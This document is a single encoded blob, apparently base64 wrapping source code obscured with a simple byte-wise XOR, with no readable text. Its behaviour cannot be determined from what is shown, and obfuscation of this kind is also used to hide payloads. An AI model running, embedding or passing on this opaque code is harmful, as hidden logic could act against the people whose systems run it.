TzJXQl87Nm4qDg4ODg9ipg4ODysWDi4vKzdeKg8TG1/zM09fKzM2LwcHLlc/ayMfPmtPHzc+Ri5SXlIqPg5OKg4ODg4ODnYODk4qDg4PMyNuXwZebkZH8x9HAyNbQx8Laz9aL2dqQzsjQxsbMx9eLkpCUmoqPg8rE0cHHzJvNl8GaxcDQi5KQm5OKipipg9HG19bRzZipqampg4ODg96pg8rFg4ODg4ODi4LjwcHLlc/ayMfPmtPHzc+Ri5KSmpOKi4fAktGTm8DCy9LGwIqD39+Dg4PK1PyQ1dLZ08La0sHZxIuSkJWbiovJ1PybytDKlNbKy5bJyMmXlMaLi9DX0crNxIqDg4OD49nakM7I0MbGzMfXi5KSkZaKi4fAktGTm8DCy9LGwIqKioODgp6eg4PKxNHBx8ybzZfBmsXA0IuSkJWbiouH15Wa08yV0JfOzZuKioPYqYODg4PXkJrJx8HSkdLbk8HKlJHNlNbMmsKLh8CS0ZObwMLL0sbAj4ODg4fXlZrTzJXQl87Nm4+Dg8HBy5XP2sjHz5rTx83PkYuSkJuSioqYqYODwJOTyJfLlJTWzcr828CQm9rE18fXi4fAktGTm8DCy9LGwI+D1JLL2dvWl5Xay8bWysWLioqYqamD0tLXxpDR/M/TydTWxdDZ0NXKwMaLh8CS0ZObwMLL0sbAj4OLk9vGm4iT28HAioqYqamDg8+TwsXI2pqXy9eXxcua/MKLh8CS0ZObwMLL0sbAipipg4OD3qmDg4ODg96Dg4PAwtfAy4ODi/fL0czUwsHPxoODh8/XzZLTlsHXkvyRioPYqYODzMjbl8GXm5GR/MfRwMjW0MfC2s/Wi8rU/JDV0tnTwtrSwdnEi5KQlJqKj4OHz9fNktOWwdeS/JGKmKmDg4ODg96Dg8DC18DLg4vm28DG09fKzM2Dh8/XzZLTlsHXkvyRioODg9ipg4Peqd6pxdbNwNfKzM2Dg4PNmvzF0M7Al8nH25fGldPL/NOXxsWai4fIxtqPg4fHldvZm87OypLQyMmWko+Dg4OHzMzNzdfSyZPQztrG2pHXiqmDg4OD2KmDh/zEzs6X28vE28vJ19TMg4ODg56Dg4ODzdbPz5ipqYODg8rFg4ODg4ODi4f8xM7Ol9vLxNvLydfUzIODg56enoODg4PN1s/PioODg9ipg4OH/MTOzpfby8Tby8nX1MyDnoODytT8kNXS2dPC2tLB2cSLkpCRkIqLysTRwcfMm82XwZrFwNCLkpCbkYqKg4ODnIPExtf819HCzdDKxs3Xi8KS0NDR/MSaypSWltmUysiT0NKLioqDg5mDg4PFws/Qxpipg4PKxYODi4KDysTRwcfMm82XwZrFwNCLkpCbkIqLh/zEzs6X28vE28vJ19TMioqDg9ipqYODh/zEzs6X28vE28vJ19TMg56Dg4PCy5qTytCXxc38m9XH0tHCyNXb1peLytT8kNXS2dPC2tLB2cSLlJaSio+DxcLP0MaKmKneqYODysWDg4ODi4KD2dqQzsjQxsbMx9eLkpCbl4qLh/zEzs6X28vE28vJ19TMioqD2KmDh/zEzs6X28vE28vJ19TMg4Oeg4ODwtHRwtqLipipg4ODg96pjIyDwMvGwMjTzMrN14PTzNDK18rVxo7HxsXKzcrXxoPRxsDM0ceOz8LaxtGpqYOD3qmHwJXVytHIlM/FxPzVg4ODg4Oeg4ODgYGYqcrFg4ODi8rQ0MbXi4f8xM7Ol9vLxNvLydfUzPiHyMba/oqDg4OFhYODg4PK1PyQ1dLZ08La0sHZxIuSkJabiouH/MTOzpfby8Tby8nX1Mz4h8jG2v6KioPYqYfAldXK0ciUz8XE/NWDg56Dg4f8xM7Ol9vLxNvLydfUzPiHyMba/piH2Zbbz9OawZfbmprI0Z6RloiVkJiH2dbSkZHVldrKytCS0J6H2Zbbz9OawZfbmprI0Y6Xkpipg4ODg96pg4ODysWDi8rU/JDV0tnTwtrSwdnEi5KQm5aKi4fAldXK0ciUz8XE/NWKg4Ofg4uQiJeUioqDg4ODg4PYqamph8CV1crRyJTPxcT81YOeg4ODzJHH25DCy9nTy9mVzcr8louHyMbaj4OBgYqYqd6pqamDysWDi8rU/JDV0tnTwtrSwdnEi5KQm5aKi4fAldXK0ciUz8XE/NWKg5+Dg4uT25KWiJPbkseKioOD0cbX1tHNg8XCz9DGmKmpqYfXwc6Xm5aRk9fazNbPwNOSg4Oeg8rE0cHHzJvNl8GaxcDQi5eTkYqLh8CV1crRyJTPxcT81Y+D19HWxoqYqcrFg4OLgofXwc6Xm5aRk9fazNbPwNOSg4Pf34ODwcHLlc/ayMfPmtPHzc+Ri5KQm5WKi4fXwc6Xm5aRk9fazNbPwNOSioODg4ODn4ODi5PbkIiT25HFioqDg9HG19bRzYODg4ODxcLP0MaYqampg4ODg8rFg4OLwcHLlc/ayMfPmtPHzc+Ri5KQlJGKi4fXwc6Xm5aRk9fazNbPwNOSj4ODg4ODysTRwcfMm82XwZrFwNCLkZaaioqDnp6eg4ODxcLP0MaKg4PRxtfW0c2DxcLP0MaYqYOH18HOl5uWkZPX2szWz8DTkoODg56Dg4ODysTRwcfMm82XwZrFwNCLl5OaiouHx5Xb2ZvOzsqS0MjJlpKPg4OHzMzNzdfSyZPQztrG2pHXj4ODg4fXwc6Xm5aRk9fazNbPwNOSipipg4ODg8rFg4ODi8fGxcrNxseLysTRwcfMm82XwZrFwNCLkZWSioqKg4ODg9ipqYOD19Hag4PYqYODg4OD49fMyMbN/MTG1/zCz8+Lh9fBzpeblpGT19rM1s/A05KPg4P37Ojm7fzz4vHw5oqYqYODg4ODg4Peg8DC18DLg4OL98vRzNTCwc/Gg4ODg4fP182S05bB15L8kYqDg9ip0cbX1tHNg4ODg8XCz9DGmKmpqYODg96Dg4PAwtfAy4ODg4vm28DG09fKzM2Dh8/XzZLTlsHXkvyRioOD2KnRxtfW0c2DxcLP0MaYqamDg96pqamD3oODxs/QxsrFg4ODi4LV2ceWzdHHypqT0sD8lMHA2cHWi4fXwc6Xm5aRk9fazNbPwNOSioqD2KmDg9HG19bRzYPFws/Qxpip3qmD0cbX1tHNg4OH18HOl5uWkZPX2szWz8DTkpipqYPeqYODxdbNwNfKzM2Dg4OD2c/EztPHwNbU1JXJltmUwszIkteLiqmpqamDg9ipg4ODg4OD19Hag4ODg4PYqcrFg4OLgsHBy5XP2sjHz5rTx83PkYuSkJGQiovZ2pDOyNDGxszH14uSkJuRioqKg4ODg9HG19bRzZipysWDg4OLgsfGxcrNxseLysTRwcfMm82XwZrFwNCLkpCblIqKioPRxtfW0c2YqYfIwNrMycHB/JqazNqVwYOeg4ODg8LUldmXlcHSk9HKlM3Tx9XBz8fZkciLipipg4ODg8rFg4ODg4uCh8jA2szJwcH8mprM2pXBioODg4OD2KmDg4PKkdTNyMGTk8nMwZDPlpPTx5eLipipg4ODg4ODg4OHyMDazMnBwfyamszalcGDg4ODnoODwtSV2ZeVwdKT0cqUzdPH1cHPx9mRyIuKmKmDg96ph8HMxNfXx8DT0Nrag56Dg8yRx9uQwsvZ08vZlc3K/JaLwcHLlc/ayMfPmtPHzc+Ri5KQlpSKj4OBgYqYqYODg4ODg8rFg4ODg4OLytT8kNXS2dPC2tLB2cSLkpCblYqLh8HMxNfXx8DT0NraioOenp6Dg4OTioOHwczE19fHwNPQ2tqDnoODg9nakM7I0MbGzMfXi5KQm5uKi4H/25OTgY+Dg4OLkZCOlIqKmKmpqamDg4ODh8HVl83I2pbF18LGlc3Ay4ODnoODg4ODg4vK0NDG14uH5O/s4eLv8PjZ2pDOyNDGxszH14uSkJeRiv6Kg4ODhYWDytT8kNXS2dPC2tLB2cSLkpCWm4qLh+Tv7OHi7/D4ytT8kNXS2dPC2tLB2cSLkpCXkYr+ioODg4OFhYODg4PBwcuVz9rIx8+a08fNz5GLkpCblYqLh+Tv7OHi7/D4ytT8kNXS2dPC2tLB2cSLkpCbmor+ioOdnoODi5CSiJWaioqDg4Ocg4OH5O/s4eLv8PjBwcuVz9rIx8+a08fNz5GLkpCak4r+g4ODmYPMkcfbkMLL2dPL2ZXNyvyWi8rU/JDV0tnTwtrSwdnEi5KQlJWKj4ODg4GBipipysWDg4vBwcuVz9rIx8+a08fNz5GLkpCakoqLh8HVl83I2pbF18LGlc3Ay4qDg4ODg4Ofg4ODg4uSlYibl4qKg4OHwdWXzcjalsXXwsaVzcDLg56DydnGyZebzNXK/JuT2pWLipipg4OHzM2R/NXWlvz8ktLXk8DSm4ODg56Dg4OLytDQxteLh+Tv7OHi7/D4wcHLlc/ayMfPmtPHzc+Ri5ebm4r+ioOFhYODg4PBwcuVz9rIx8+a08fNz5GLkpCakYqLh+Tv7OHi7/D42dqQzsjQxsbMx9eLl5ubiv6Kg4ODhYWD2dqQzsjQxsbMx9eLkpCakoqLh+Tv7OHi7/D4wcHLlc/ayMfPmtPHzc+Ri5ebm4r+ioODg52Di5eW/ZCSioqDg4Ocg4fk7+zh4u/w+MrE0cHHzJvNl8GaxcDQi5ebm4r+g4OZg4PMkcfbkMLL2dPL2ZXNyvyWi9nakM7I0MbGzMfXi5KQmpCKj4ODgYGKmKmDh9mS1pXTm9qQ1dXBmoOeg9nakM7I0MbGzMfXi5KQlZuKi4fB1ZfNyNqWxdfCxpXNwMuDg42Dh8zNkfzV1pb8/JLS15PA0puDg4ODg42Dh8HMxNfXx8DT0Nrag4ODg42Dg4ODhN+Eg4ODjYPZ2pDOyNDGxszH14uUlIqL1MTZwNPQ1drGyJPM0sHFi4GBioqKmKmDg4ODysWDg4OLzJHH25DCy9nTy9mVzcr8lovBwcuVz9rIx8+a08fNz5GLkpCVlIqPg4GBioODg4OCnp6Dg4ODh9mS1pXTm9qQ1dXBmoqD2KmDg4ODg4PKkdTNyMGTk8nMwZDPlpPTx5eLipipg4fIwNrMycHB/JqazNqVwYODg56DwtSV2ZeVwdKT0cqUzdPH1cHPx9mRyIuKmKneqYPKxYOLgsLEy9XaypSbmpbN0M2Xx5PEi4qKg4PRxtfW0c2YqYODg4fVl8XE2ZKVx5PFg4Oeg9bax5GU0tubk9DWzsfAm9XX1prFwouKmIfXm8LZ0ZGa/NvFkMqekpuJmpiH2s2Xz9HX2cfakMCRm9aeh9ebwtnRkZr828WQyo6Skpiph9rRy/zLlNrAwtrM0YODnoOD48rU/JDV0tnTwtrSwdnEi5KSmpOKi4fVl8XE2ZKVx5PFg4ODg42Dg4PBwcuVz9rIx8+a08fNz5GLkpCal4qKmKmDysWDg4uH2tHL/MuU2sDC2szRg4WFg4fIwNrMycHB/JqazNqVwYODhYWDg4ODg4PExtf819HCzdDKxs3Xi8HBy5XP2sjHz5rTx83PkYuSkJqWioqKg4ODg9HG19bRzZipg/zNxc/S05XalcfXm9OWlpeSyYuKmKmDg4PNxtCRwNfN/NXZ2pqWmouKmKmDg4ODg4OD1vySmtbaxJTRytmXy8rGi4qYqYOHx5eTyczEyMDV0JbSg56Dg+PZ2pDOyNDGxszH14uSkJqViouH1ZfFxNmSlceTxYONg4PK1PyQ1dLZ08La0sHZxIuSkJqXioqYqampg4ODg4fIwNrMycHB/JqazNqVwYODg4ODg56Dg4ODg8LUldmXlcHSk9HKlM3Tx9XBz8fZkciLipipysWDg4OLh8eXk8nMxMjA1dCW0oOFhYOHyMDazMnBwfyamszalcGKg4PYqYOD0MbX/NfRws3QysbN14vKxNHBx8ybzZfBmsXA0IuSkJqWio+Dg4ODko+Dg4uT25aViJPbx5WKipip3qmpg96Dg8DC18DLg4OL98vRzNTCwc/Gg4ODg4fP182S05bB15L8kYqD2KmDg4ODg8zI25fBl5uRkfzH0cDI1tDHwtrP1ovK1PyQ1dLZ08La0sHZxIuSkJqUio+Dg4fP182S05bB15L8kYqYqampg4Peg4ODwMLXwMuDg4OL5tvAxtPXyszNg4OHz9fNktOWwdeS/JGKg4PYqYyMg9DX0cbQ0I7XxtDXg9HGx9bA18rMzYPFzNGD9POD5dbPz4PwytfGg+bHytfKzcSpqamp3qneqampqYPF1s3A18rMzYPNxtCRwNfN/NXZ2pqWmouKqYODg9ipqYODg4ODg9fR2oPYqYODg4ODg4PKxYODg4uCx8bFys3Gx4vZ2pDOyNDGxszH14uSkJuUioqKg4ODg9HG19bRzZipg4ODg4PKxYODi9nakM7I0MbGzMfXi5KQmpuKi4qDnp6eg8rE0cHHzJvNl8GaxcDQi5uXioqDg9HG19bRzZipg4ODh8bEz8rFz5fam9nZl9GDg56DysTRwcfMm82XwZrFwNCLkpCRkIqLytT8kNXS2dPC2tLB2cSLkpGUm4qKg5yD49nakM7I0MbGzMfXi5KQmpqKi9nakM7I0MbGzMfXi5ablYqKg4ODmYPFws/Qxpipg4ODg8rFg4ODi4KHxsTPysXPl9qb2dmX0YODg9/fg4fGxM/Kxc+X2pvZ2ZfRg4ODnp6eg4GBg4Pf34ODh8bEz8rFz5fam9nZl9GDg56enoPZ2pDOyNDGxszH14uSl5OTioqDh8bEz8rFz5fam9nZl9GDg56Dg4ODytT8kNXS2dPC2tLB2cSLlpuaipipg4OH083ByJDS15rJx4ODg56Dg8zQxtPTwcbGz9vRmtbLi+Lh8PPi9+uDg4ODg4ONg8rU/JDV0tnTwtrSwdnEi5KXk5KKj4ODg4uSlJf9kpWVioqYqYODg4fVl8XE2ZKVx5PFg4ODg4ODnoPW2seRlNLbm5PQ1s7HwJvV19aaxcKLipiph8aVyZLI1sbZwsDGzdHFg4Oeg4ODg9TO19fFzNrS1ZHBzcGbkMSbyouKmKmDg4fCm8WW28+azZfClZT8yIODg4ODnoODg4PM0MbT08HGxs/b0ZrWy4vi4fDz4vfrg4ODg4ODjYPKxNHBx8ybzZfBmsXA0IuSk5qSio+Dg4uXiJeKioODjYPZ2pDOyNDGxszH14uSl5ORipiph8zbl9bRkJfKlteDnoODh9WXxcTZkpXHk8WDjYODhIyEg4ODg4ODjYOHwpvFltvPms2XwpWU/MiYqYfXzNrS0pLE2peUloODnoODg4fVl8XE2ZKVx5PFg4ONg4ODytT8kNXS2dPC2tLB2cSLkpeTkIqDg42Dg4OHwpvFltvPms2XwpWU/MiYh9LRlpDJwtbVwJDSmpKe8+vz/O7i6ezx/PXm8fDq7O2Yh8zSlcKWltnX0Z6H0tGWkMnC1tXAkNKakombmKmDg4ODh8fV0pHSwtPJ1MnV2ZPag4Oeg4ODg4PBwcuVz9rIx8+a08fNz5GLkpKVloqL0ZKVmtCawcaT2ZOQztWTi4qPg4PK1PyQ1dLZ08La0sHZxIuSl5ORioqYqYOH0sWbl8TFm9OalcWXy9HRg4Oeg4PM0MbT08HGxs/b0ZrWy4vi4fDz4vfrg42Dg9nakM7I0MbGzMfXi5KQkZSKj4ODg4ODi5KVjpuKioODg42DwcHLlc/ayMfPmtPHzc+Ri5KQkZuKmKmH2tHZl9LTx5bPwYODg4Oeg4ODg4OLys3XioODg4PExtf8zNPXyszNi8rE0cHHzJvNl8GaxcDQi5KXk5eKj4ODk4qYqYODysWDg4OLh9rR2ZfS08eWz8GDhYWDg4ODg8HBy5XP2sjHz5rTx83PkYuSkpeQiouKg46Dg4ODh9rR2ZfS08eWz8GDg5+Dg4uT28bGx5WIk9uVkcLCioqD2KmDg4PSk8nB2cbSxZPPyc3b/MWX0IuHzNuX1tGQl8qW14+Dg4PN1s/Pipipg4ODg4PSk8nB2cbSxZPPyc3b/MWX0IuH18za0tKSxNqXlJaPg4ODzdbPz4qYqampxczRxsLAy4ODg4OLwtHRwtqL2dqQzsjQxsbMx9eLlZWbiovi4fDz4vfrj4ODg8rE0cHHzJvNl8GaxcDQi5KRlZuKio+DysTRwcfMm82XwZrFwNCLlZWbiouH1ZfFxNmSlceTxY+Dg4PKxNHBx8ybzZfBmsXA0IuSl5OWioqKg4ODg4PC0IODg4OH1szS05uRztKTkNrI2oqD2KmDg4ODg4fb0MyQzZeQ1NCTzcrXzsHQg4Oeg4fWzNLTm5HO0pOQ2sjag42Dg4SMhIODg4ONg4fGxM/Kxc+X2pvZ2ZfRmKmpqamDg4OHwMuQ0pCT08/QmsnEy4ODg56D48rU/JDV0tnTwtrSwdnEi5KXk5WKi4fb0MyQzZeQ1NCTzcrXzsHQioODg4Ocg4ODg4PjytT8kNXS2dPC2tLB2cSLkpeTlIqLh9vQzJDNl5DU0JPNytfOwdCKg4ODmYODgYGYqYODg8rFg4ODg4vZ2pDOyNDGxszH14uSkJqRiouHwMuQ0pCT08/QmsnEy4qDg4ODg4WFg4ODg4PBwcuVz9rIx8+a08fNz5GLkpCUkYqLh8DLkNKQk9PP0JrJxMuPg4fCm8WW28+azZfClZT8yIqDg4KenoPFws/QxoqDg9ipg4fPwJrZxZvLltTTldvWyJGDg4Oeg4PZ2pDOyNDGxszH14uSl5ObiovKxNHBx8ybzZfBmsXA0IuSl5OaioODg42Dg4ODg9nakM7I0MbGzMfXi5KXkpOKi4fCm8WW28+azZfClZT8yI+Dg4SMhIqDg42DytT8kNXS2dPC2tLB2cSLkpeSkoqPg4OB/82Bj4OHwMuQ0pCT08/QmsnEy4qYqampqYODysWDg4ODg4OLytT8kNXS2dPC2tLB2cSLkpCakYqLh8/AmtnFm8uW1NOV29bIkYqDg4ODhYWDg4ODg4OHz8Ca2cWby5bU05Xb1siRg4OCnp6Dh8DLkNKQk9PP0JrJxMuKg4ODg9DB0sXB2daQl8CQzc2W1dCS28nK29OLh9vQzJDNl5DU0JPNytfOwdCPg4OHz8Ca2cWby5bU05Xb1siRipipqamp3qmMjIPu2vDy74Obg+D35tCDwtfXwsDLzsbN14POxtfCx8LXwqmpg96pg4ODg9HG19bRzZipqaneqYODg4fbz5bEwsvByJLayoODnoODg82a/MXQzsCXycfbl8aV08v805fGxZqLqampqcHBy5XP2sjHz5rTx83PkYuUkJuKj6mDg8LR0cLai4T8/PDv9uT8/ISPg4T8/Pnq8/zt4u7m/PyEj4ODg4T8/Ort8Pf86+Lw6/z8hI+Dg4OE/Pzn4vfi/Ofq8fz8hI+Dg4T8/ODs7ffm7ff85+rx/OGVl/z8hI+Dg4ODg4T8/PXm8fDq7O38/ISKj6nC0dHC2ouHx9XSkdLC08nUydXZk9qPg4fSxZuXxMWb05qVxZfL0dGPg4fTzcHIkNLXmsnHj4ODg8rE0cHHzJvNl8GaxcDQi5KXkpGKg4ODjYPM0MbT08HGxs/b0ZrWy4vi4fDz4vfrg42Dg4ODg4PBwcuVz9rIx8+a08fNz5GLl5aKj4OLkpeOlYqKj4ODg4PBwcuVz9rIx8+a08fNz5GLkJqaiovHxsXKzcbHi8HBy5XP2sjHz5rTx83PkYuSl5KQioqDg4ODnIOD9PP84Ozt9+bt9/zn6vGDmYPW2seRlNLbm5PQ1s7HwJvV19aaxcKLioqPg4PUxMHIwtnXm9nUxJXMws3CldSQxZTXi4qKqYODg4qYqYODg8rFg4ODg4uCh9vPlsTCy8HIktrKioODg9ipjIyDxtvTxsDXxseDwc/MzM6OxcrP18bRqamDg8rFg4ODg4OLi8rN14qDg4ODxMbX/MzT18rMzYvZ2pDOyNDGxszH14uUl5SKj4ODk4qDg4ODg4Odg4OTioODzMjbl8GXm5GR/MfRwMjW0MfC2s/Wi9nakM7I0MbGzMfXi5KXkpeKj4ODysTRwcfMm82XwZrFwNCLkpeSloqKmKmDg4ODg4PRxtfW0c2YqYODg4ODg96pysWDg4uC48HBy5XP2sjHz5rTx83PkYuSkJSUiouHxpXJksjWxtnCwMbN0cWKioODg4P8zdvI25LQl8+X2sTJxcLCx4uHxpXJksjWxtnCwMbN0cWPg4uT25KRmoiT28CXio+Dg9fR1saKmIfHyJXQwtOa1s/Rk8LBnpCJlZiHztea2ZHXzsuUzJ6Hx8iV0MLTmtbP0ZPCwY6Ql5ipg4fK08LZl9Kb15vI08TEkdHOg56Dg8XCz9DGmKnKxYODg4uC49nakM7I0MbGzMfXi5KQmpWKi4fXzNrS0pLE2peUloqDg9/fg4ODg4PBwcuVz9rIx8+a08fNz5GLkpeSlYqLydT8m8rQypTWysuWycjJl5TGi4vQ19HKzcSKg+PBwcuVz9rIx8+a08fNz5GLkpeTlIqLh9fM2tLSksTal5SWioqKg4ODg4KenoPZ2pDOyNDGxszH14uSl5KViouH28+WxMLLwciS2sqKioPYqYODg4PXkJrJx8HSkdLbk8HKlJHNlNbMmsKLh9fM2tLSksTal5SWj4ODg4fbz5bEwsvByJLayo+Dg4ODytT8kNXS2dPC2tLB2cSLkpeSl4qKmKmpqamDwJOTyJfLlJTWzcr828CQm9rE18fXi4fXzNrS0pLE2peUlo+D1JLL2dvWl5Xay8bWysWLioqYqampg4OD0tLXxpDR/M/TydTWxdDZ0NXKwMaLh9fM2tLSksTal5SWj4ODg4uXk5SIkpCKipipg8+TwsXI2pqXy9eXxcua/MKLh9fM2tLSksTal5SWipipg4OHytPC2ZfSm9ebyNPExJHRzoOeg4PX0dbGmKneqYfHytCQ0Mmal5PS1JrBg4Oeg4ODg4OBgZipg4PFzNHGwsDLg4ODi8LR0cLai9nakM7I0MbGzMfXi5WVm4qL4uHw8+L364+Dg4PBwcuVz9rIx8+a08fNz5GLkpeTloqKj4ODwcHLlc/ayMfPmtPHzc+Ri5WVm4qLh9WXxcTZkpXHk8WPg9nakM7I0MbGzMfXi5KXkpSKioqDg8LQg4ODg4fMxZST1ZbGzMHb2c3MldHFioPYqampqYODg4ODg4fF28DW0s/b1pPMg56Dg+PBwcuVz9rIx8+a08fNz5GLkpCalYqLh8zFlJPVlsbMwdvZzcyV0cWDg4ODjYODhIyEg4ONg4ODg4ODh8bEz8rFz5fam9nZl9GKg4ODg4ODnIODg4Pj2dqQzsjQxsbMx9eLkpeSm4qLh8zFlJPVlsbMwdvZzcyV0cWDg42DhIyEg4ONg4fGxM/Kxc+X2pvZ2ZfRioOZg4OBgZipysWDg4ODg4vK1PyQ1dLZ08La0sHZxIuSl5KaiouHxdvA1tLP29aTzIqDg4WFg4PZ2pDOyNDGxszH14uSkJOSiovZ2pDOyNDGxszH14uSl5GTio+Dg4fF28DW0s/b1pPMj4ODg4fT08WWkJHFwNqUm9DM2dSTioqDg4OD2KmDg4ODh8DQ0JaUx5HbwpXC0c+Rg4Oeg4ODwcHLlc/ayMfPmtPHzc+Ri5KRm5KKi4fT08WWkJHFwNqUm9DM2dST+JH+ipipg8rFg4OLh8DQ0JaUx5HbwpXC0c+Rg4ODgp6eg4GBg4ODg4WFg4PQ19HK08zQi4fA0NCWlMeR28KVwtHPkY+Dg8rU/JDV0tnTwtrSwdnEi5KXkZKKioODnp6eg4PFws/QxoODg4OFhYODgsTOxcWbkMTC15PUxNHXi4fA0NCWlMeR28KVwtHPkYqKg4ODg9ipqampg4ODg4fHytCQ0Mmal5PS1JrBg56Dg4ODg4OHwNDQlpTHkdvClcLRz5GYqYODg8HRxsLImKneqd6pg4PeqYODg6mDh83HwNfT1dKbwtbF0NTGkYODg4Oeg8HBy5XP2sjHz5rTx83PkYuampCKg4ONg4ODg4ODi4fHytCQ0Mmal5PS1JrBg4ODgp6eg4GBg4Ocg8rU/JDV0tnTwtrSwdnEi5KXkZGKg4ODg42Dg4ODysTRwcfMm82XwZrFwNCLkpeRkIqLh8fK0JDQyZqXk9LUmsGPg9fR1saKg42Dg8rU/JDV0tnTwtrSwdnEi5KXkZeKg4ODmYODg4GBiqmDjYPKxNHBx8ybzZfBmsXA0IuSl5GWioODg42Dh8KbxZbbz5rNl8KVlPzIg4ODg4ODjYODg4PBwcuVz9rIx8+a08fNz5GLkpCVloqpjYOD2dqQzsjQxsbMx9eLkpeRlYqpg42Dg4PZ2pDOyNDGxszH14uSl5GUiqmNg4PBwcuVz9rIx8+a08fNz5GLkpeRm4qDg4ODjYODg8HBy5XP2sjHz5rTx83PkYuSl5KViouH28+WxMLLwciS2sqKg4ONg9nakM7I0MbGzMfXi5KXkZqKmKmpqcrFg4uC49nakM7I0MbGzMfXi5KQmpWKi4fM25fW0ZCXypbXioPf34PBwcuVz9rIx8+a08fNz5GLkpeSlYqLydT8m8rQypTWysuWycjJl5TGi4vQ19HKzcSKg4ODg4OD48rU/JDV0tnTwtrSwdnEi5KXkJOKi4fM25fW0ZCXypbXioqKg4OCnp6DytT8kNXS2dPC2tLB2cSLkpeQkoqLh83HwNfT1dKbwtbF0NTGkYqKg9ipqdeQmsnHwdKR0tuTwcqUkc2U1syawouHzNuX1tGQl8qW14+Dh83HwNfT1dKbwtbF0NTGkY+Dg4PZ2pDOyNDGxszH14uSl5CRioqYqYPAk5PIl8uUlNbNyvzbwJCb2sTXx9eLh8zbl9bRkJfKltePg9SSy9nb1peV2svG1srFi4qKmKmpqamD0tLXxpDR/M/TydTWxdDZ0NXKwMaLh8zbl9bRkJfKltePg4uQl5qIlJKKipipz5PCxcjampfL15fFy5r8wouHzNuX1tGQl8qW14qYqYOHytPC2ZfSm9ebyNPExJHRzoODg4Oeg4OD19HWxpip3qmHzMyQwsvTktHHxMTL18rHg4Oeg4PX0dbGmKmH1sDGksDRl9fV04ODg4Oeg4ODydT8m8rQypTWysuWycjJl5TGi4vQ19HKzcSKg+PK1PyQ1dLZ08La0sHZxIuSl5CQiouH18za0tKSxNqXlJaKipipg4ODysWDi4LjwcHLlc/ayMfPmtPHzc+Ri5KXk5WKi4fXzNrS0pLE2peUloqDg4ODg4Pf34OH1sDGksDRl9fV04OCnp6Dg4fbz5bEwsvByJLayoqDg4PYqYPMyNuXwZebkZH8x9HAyNbQx8Laz9aLytT8kNXS2dPC2tLB2cSLkpeSl4qPg4ODg8rE0cHHzJvNl8GaxcDQi5KRkpqKipipg4PSk8nB2cbSxZPPyc3b/MWX0IuH18za0tKSxNqXlJaPg83Wz8+KmKmDh8zMkMLL05LRx8TEy9fKx4ODg56Dg4PFws/Qxpipg4PeqYODh9bAxpLA0ZfX1dODg56DydT8m8rQypTWysuWycjJl5TGi4vQ19HKzcSKg4ODg4PjytT8kNXS2dPC2tLB2cSLkpeQkIqLh8zbl9bRkJfKlteKipipg4ODg8rFg4ODg4uC49nakM7I0MbGzMfXi5KXkJeKi4fM25fW0ZCXypbXioOD39+Dh9bAxpLA0ZfX1dODg4OCnp6Dh83HwNfT1dKbwtbF0NTGkYqDg9ipg4ODg8zI25fBl5uRkfzH0cDI1tDHwtrP1ovK1PyQ1dLZ08La0sHZxIuSl5KXio+D2dqQzsjQxsbMx9eLkpGSmoqKmKmpqanSk8nB2cbSxZPPyc3b/MWX0IuHzNuX1tGQl8qW14+DzdbPz4qYqYODg4fMzJDCy9OS0cfExMvXyseDg4Oeg4PFws/QxpiHxZGVxc7HlNrE1ZGVkNeekZGJkZiHxcbC1MnGl8uXnofFkZXFzseU2sTVkZWQ146Rlpipg4PeqYODg4ODg9bN0MbXi4fWwMaSwNGX19XTipipg4PKxYOLgofMzJDCy9OS0cfExMvXyseKg4OD2KmH/JaawsHRl8DSldDWmpPLg4ODg4Oeg4ODi8rN14qDg4ODxMbX/MzT18rMzYvKxNHBx8ybzZfBmsXA0IuSl5CWio+Dk4qDg4ODiIOSmKmDg4PW08fC18b8zNPXyszNi8rE0cHHzJvNl8GaxcDQi5KXkJaKj4OH/JaawsHRl8DSldDWmpPLj4ODg9nakM7I0MbGzMfXi5KQlJaKipipysWDi4f8lprCwdGXwNKV0Naak8uDnZ6Dg4ODi5PbkoiT25GKioPYqYOD1tPHwtfG/MzT18rMzYvZ2pDOyNDGxszH14uSl5CVio+Dg4PZ2pDOyNDGxszH14uSkpeQiouKj4ODg4ODytT8kNXS2dPC2tLB2cSLkpCUloqKmKmDg4ODg8zI25fBl5uRkfzH0cDI1tDHwtrP1ovBwcuVz9rIx8+a08fNz5GLkpeQlIqPg4PKxNHBx8ybzZfBmsXA0IuSl5CbioqYqamDg96pg9HG19bRzZipqaneqYODg4ODg4OH0dXAm9rBm9nOl9ORzNTUm4ODnoPC0dHC2ovBwcuVz9rIx8+a08fNz5GLlZWbiovi4fDz4vfrj4ODg8rU/JDV0tnTwtrSwdnEi5KXkpSKio+Dg9nakM7I0MbGzMfXi5WVm4qLh9WXxcTZkpXHk8WPg8rU/JDV0tnTwtrSwdnEi5KXkpSKioqYqYfA2trIm9SSldTVyNvAg56Dg8LR0cLai4qYqampg4PFzNHGwsDLg4ODi4fR1cCb2sGb2c6X05HM1NSbg4PC0IODh9GU08jPksjWwNCTioODg4PYqYODg4ODg4ODh9rP2sjN08jPzJWRlNPKg4ODnoOH0ZTTyM+SyNbA0JODg4ONg4ODhIyEg4ODjYODg4fGxM/Kxc+X2pvZ2ZfRmKmDh8vGyMrRzcrO1M/IzsjXzcGDg4Oeg+PKxNHBx8ybzZfBmsXA0IuSl5CXiouH2s/ayM3TyM/MlZGU08qKg5yDg4Pj2dqQzsjQxsbMx9eLkpeQmoqLh9rP2sjN08jPzJWRlNPKioOZg4OTmKmHwNbR0cbN14Oeg+PZ2pDOyNDGxszH14uSl5eTiouH2s/ayM3TyM/MlZGU08qKg4ODg4Ocg4ODg4PjytT8kNXS2dPC2tLB2cSLkpeQkIqLh9rP2sjN08jPzJWRlNPKioODg4ODmYODgYGYqYPKxYODi4LBwcuVz9rIx8+a08fNz5GLkpeXkoqLh8DW0dHGzdeKioODg4PYqYPMyNuXwZebkZH8x9HAyNbQx8Laz9aLytT8kNXS2dPC2tLB2cSLkpeQlIqPg4PK1PyQ1dLZ08La0sHZxIuSl5eRioqYqYODg6mpg9HG19bRzZip3qmDg4PKxYOLysTRwcfMm82XwZrFwNCLkpeXkIqLh8DW0dHGzdePg4ODh8KbxZbbz5rNl8KVlPzIioODnp6eg4PFws/QxoqDg9ipqampg4ODg8rFg4ODg4uHwNbR0cbN14ODg4ODhYWDg4PKxNHBx8ybzZfBmsXA0IuSkJeUiovZ2pDOyNDGxszH14uSl5eXiouHwNbR0cbN14qPg4ODg4ODjpKKg4ODg4KenoODg4H/zYGKg4OHwNbR0cbN14ONnoOB/82BmKmDg4ODg4fVl8GR25TRws3P0MWDg4Oeg4OD2dqQzsjQxsbMx9eLkpeXloqDjYODg4OHzNuX1tGQl8qW